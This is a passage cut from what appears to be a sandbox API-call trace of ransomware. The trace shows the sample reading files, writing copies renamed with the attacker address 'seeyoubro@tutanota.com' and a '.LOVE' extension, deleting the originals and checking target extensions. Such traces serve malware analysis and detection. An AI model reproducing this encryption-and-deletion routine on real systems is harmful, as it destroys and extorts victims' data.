SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.873] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.873] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.873] GetLastError () returned 0x0 [0195.873] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x14412, lpOverlapped=0x0) returned 1 [0195.896] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x14420, lpOverlapped=0x0) returned 1 [0196.140] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.140] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.140] SetEndOfFile (hFile=0x2d8) returned 1 [0196.140] CloseHandle (hObject=0x2d8) returned 1 [0196.207] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.207] SetEndOfFile (hFile=0x2dc) returned 1 [0196.208] CloseHandle (hObject=0x2dc) returned 1 [0196.208] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.209] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0196.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.209] lstrlenW (lpString=".doc") returned 4 [0196.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.209] lstrlenW (lpString=".docx") returned 5 [0196.209] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.209] lstrlenW (lpString=".pdf") returned 4 [0196.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.209] lstrlenW (lpString=".xls") returned 4 [0196.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.209] lstrlenW (lpString=".xlsx") returned 5 [0196.209] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.210] lstrlenW (lpString=".ppt") returned 4 [0196.210] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.210] lstrlenW (lpString=".zip") returned 4 [0196.210] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.210] lstrlenW (lpString=".rar") returned 4 [0196.210] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString=".bz2") returned 4 [0196.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString=".7z") returned 3 [0196.210] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.210] lstrlenW (lpString=".dbf") returned 4 [0196.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.210] lstrlenW (lpString=".1cd") returned 4 [0196.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.210] lstrlenW (lpString=".jpg") returned 4 [0196.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.210] lstrlenW (lpString=".doc") returned 4 [0196.210] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString=".docx") returned 5 [0196.210] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.210] lstrlenW (lpString=".pdf") returned 4 [0196.210] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.210] lstrlenW (lpString=".xls") returned 4 [0196.211] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.211] lstrlenW (lpString=".xlsx") returned 5 [0196.211] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.211] lstrlenW (lpString=".ppt") returned 4 [0196.211] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.211] lstrlenW (lpString=".zip") returned 4 [0196.211] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.211] lstrlenW (lpString=".rar") returned 4 [0196.211] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.211] lstrlenW (lpString=".bz2") returned 4 [0196.211] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.211] lstrlenW (lpString=".7z") returned 3 [0196.211] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.211] lstrlenW (lpString=".dbf") returned 4 [0196.211] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.211] lstrlenW (lpString=".1cd") returned 4 [0196.211] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0196.211] lstrlenW (lpString=".jpg") returned 4 [0196.211] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.211] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.211] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.212] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=68226) returned 1 [0196.212] CloseHandle (hObject=0x2dc) returned 1 [0196.212] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0196.212] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.212] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.212] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.213] GetLastError () returned 0x0 [0196.213] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0196.240] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0196.241] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.241] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.241] SetEndOfFile (hFile=0x2d8) returned 1 [0196.241] CloseHandle (hObject=0x2d8) returned 1 [0196.243] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.243] SetEndOfFile (hFile=0x2dc) returned 1 [0196.245] CloseHandle (hObject=0x2dc) returned 1 [0196.245] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.245] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0196.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.246] lstrlenW (lpString=".doc") returned 4 [0196.246] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString=".docx") returned 5 [0196.246] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.246] lstrlenW (lpString=".pdf") returned 4 [0196.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString=".xls") returned 4 [0196.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString=".xlsx") returned 5 [0196.246] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.246] lstrlenW (lpString=".ppt") returned 4 [0196.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.246] lstrlenW (lpString=".zip") returned 4 [0196.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.246] lstrlenW (lpString=".rar") returned 4 [0196.246] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString=".bz2") returned 4 [0196.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString=".7z") returned 3 [0196.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.246] lstrlenW (lpString=".dbf") returned 4 [0196.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.246] lstrlenW (lpString=".1cd") returned 4 [0196.246] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.247] lstrlenW (lpString=".jpg") returned 4 [0196.247] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.247] lstrlenW (lpString=".doc") returned 4 [0196.247] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString=".docx") returned 5 [0196.247] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.247] lstrlenW (lpString=".pdf") returned 4 [0196.247] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString=".xls") returned 4 [0196.247] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString=".xlsx") returned 5 [0196.247] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.247] lstrlenW (lpString=".ppt") returned 4 [0196.247] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.247] lstrlenW (lpString=".zip") returned 4 [0196.247] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.247] lstrlenW (lpString=".rar") returned 4 [0196.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString=".bz2") returned 4 [0196.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString=".7z") returned 3 [0196.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.247] lstrlenW (lpString=".dbf") returned 4 [0196.247] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.248] lstrlenW (lpString=".1cd") returned 4 [0196.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0196.248] lstrlenW (lpString=".jpg") returned 4 [0196.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.248] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.248] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.248] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=65238) returned 1 [0196.248] CloseHandle (hObject=0x2dc) returned 1 [0196.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0196.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0196.249] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.249] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0196.249] GetLastError () returned 0x0 [0196.249] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xfed6, lpOverlapped=0x0) returned 1 [0196.300] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xfee0, lpOverlapped=0x0) returned 1 [0196.302] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.302] WriteFile (in: hFile=0x2d8, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0196.302] SetEndOfFile (hFile=0x2d8) returned 1 [0196.302] CloseHandle (hObject=0x2d8) returned 1 [0196.304] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.304] SetEndOfFile (hFile=0x2dc) returned 1 [0196.305] CloseHandle (hObject=0x2dc) returned 1 [0196.306] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.585] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0196.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.586] lstrlenW (lpString=".doc") returned 4 [0196.586] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString=".docx") returned 5 [0196.586] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.586] lstrlenW (lpString=".pdf") returned 4 [0196.586] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString=".xls") returned 4 [0196.586] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString=".xlsx") returned 5 [0196.586] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.586] lstrlenW (lpString=".ppt") returned 4 [0196.586] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.586] lstrlenW (lpString=".zip") returned 4 [0196.586] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.586] lstrlenW (lpString=".rar") returned 4 [0196.586] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString=".bz2") returned 4 [0196.586] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString=".7z") returned 3 [0196.586] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.586] lstrlenW (lpString=".dbf") returned 4 [0196.586] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.586] lstrlenW (lpString=".1cd") returned 4 [0196.586] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.586] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.586] lstrlenW (lpString=".jpg") returned 4 [0196.586] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.587] lstrlenW (lpString=".doc") returned 4 [0196.587] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString=".docx") returned 5 [0196.587] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0196.587] lstrlenW (lpString=".pdf") returned 4 [0196.587] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString=".xls") returned 4 [0196.587] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString=".xlsx") returned 5 [0196.587] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0196.587] lstrlenW (lpString=".ppt") returned 4 [0196.587] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.587] lstrlenW (lpString=".zip") returned 4 [0196.587] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0196.587] lstrlenW (lpString=".rar") returned 4 [0196.587] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString=".bz2") returned 4 [0196.587] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString=".7z") returned 3 [0196.587] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0196.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.587] lstrlenW (lpString=".dbf") returned 4 [0196.587] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0196.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.587] lstrlenW (lpString=".1cd") returned 4 [0196.587] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0196.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0196.588] lstrlenW (lpString=".jpg") returned 4 [0196.588] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0196.588] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0196.588] lstrlenW (lpString="LocalizedData.xml") returned 17 [0196.588] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.936] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=81482) returned 1 [0196.936] CloseHandle (hObject=0x2e0) returned 1 [0196.936] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0196.936] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0196.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0196.936] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.936] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0197.066] GetLastError () returned 0x0 [0197.066] ReadFile (in: hFile=0x2e0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0197.525] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13e50, lpOverlapped=0x0) returned 1 [0197.526] ReadFile (in: hFile=0x2e0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.526] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0197.526] SetEndOfFile (hFile=0x2ec) returned 1 [0197.527] CloseHandle (hObject=0x2ec) returned 1 [0197.529] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.529] SetEndOfFile (hFile=0x2e0) returned 1 [0197.530] CloseHandle (hObject=0x2e0) returned 1 [0197.530] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 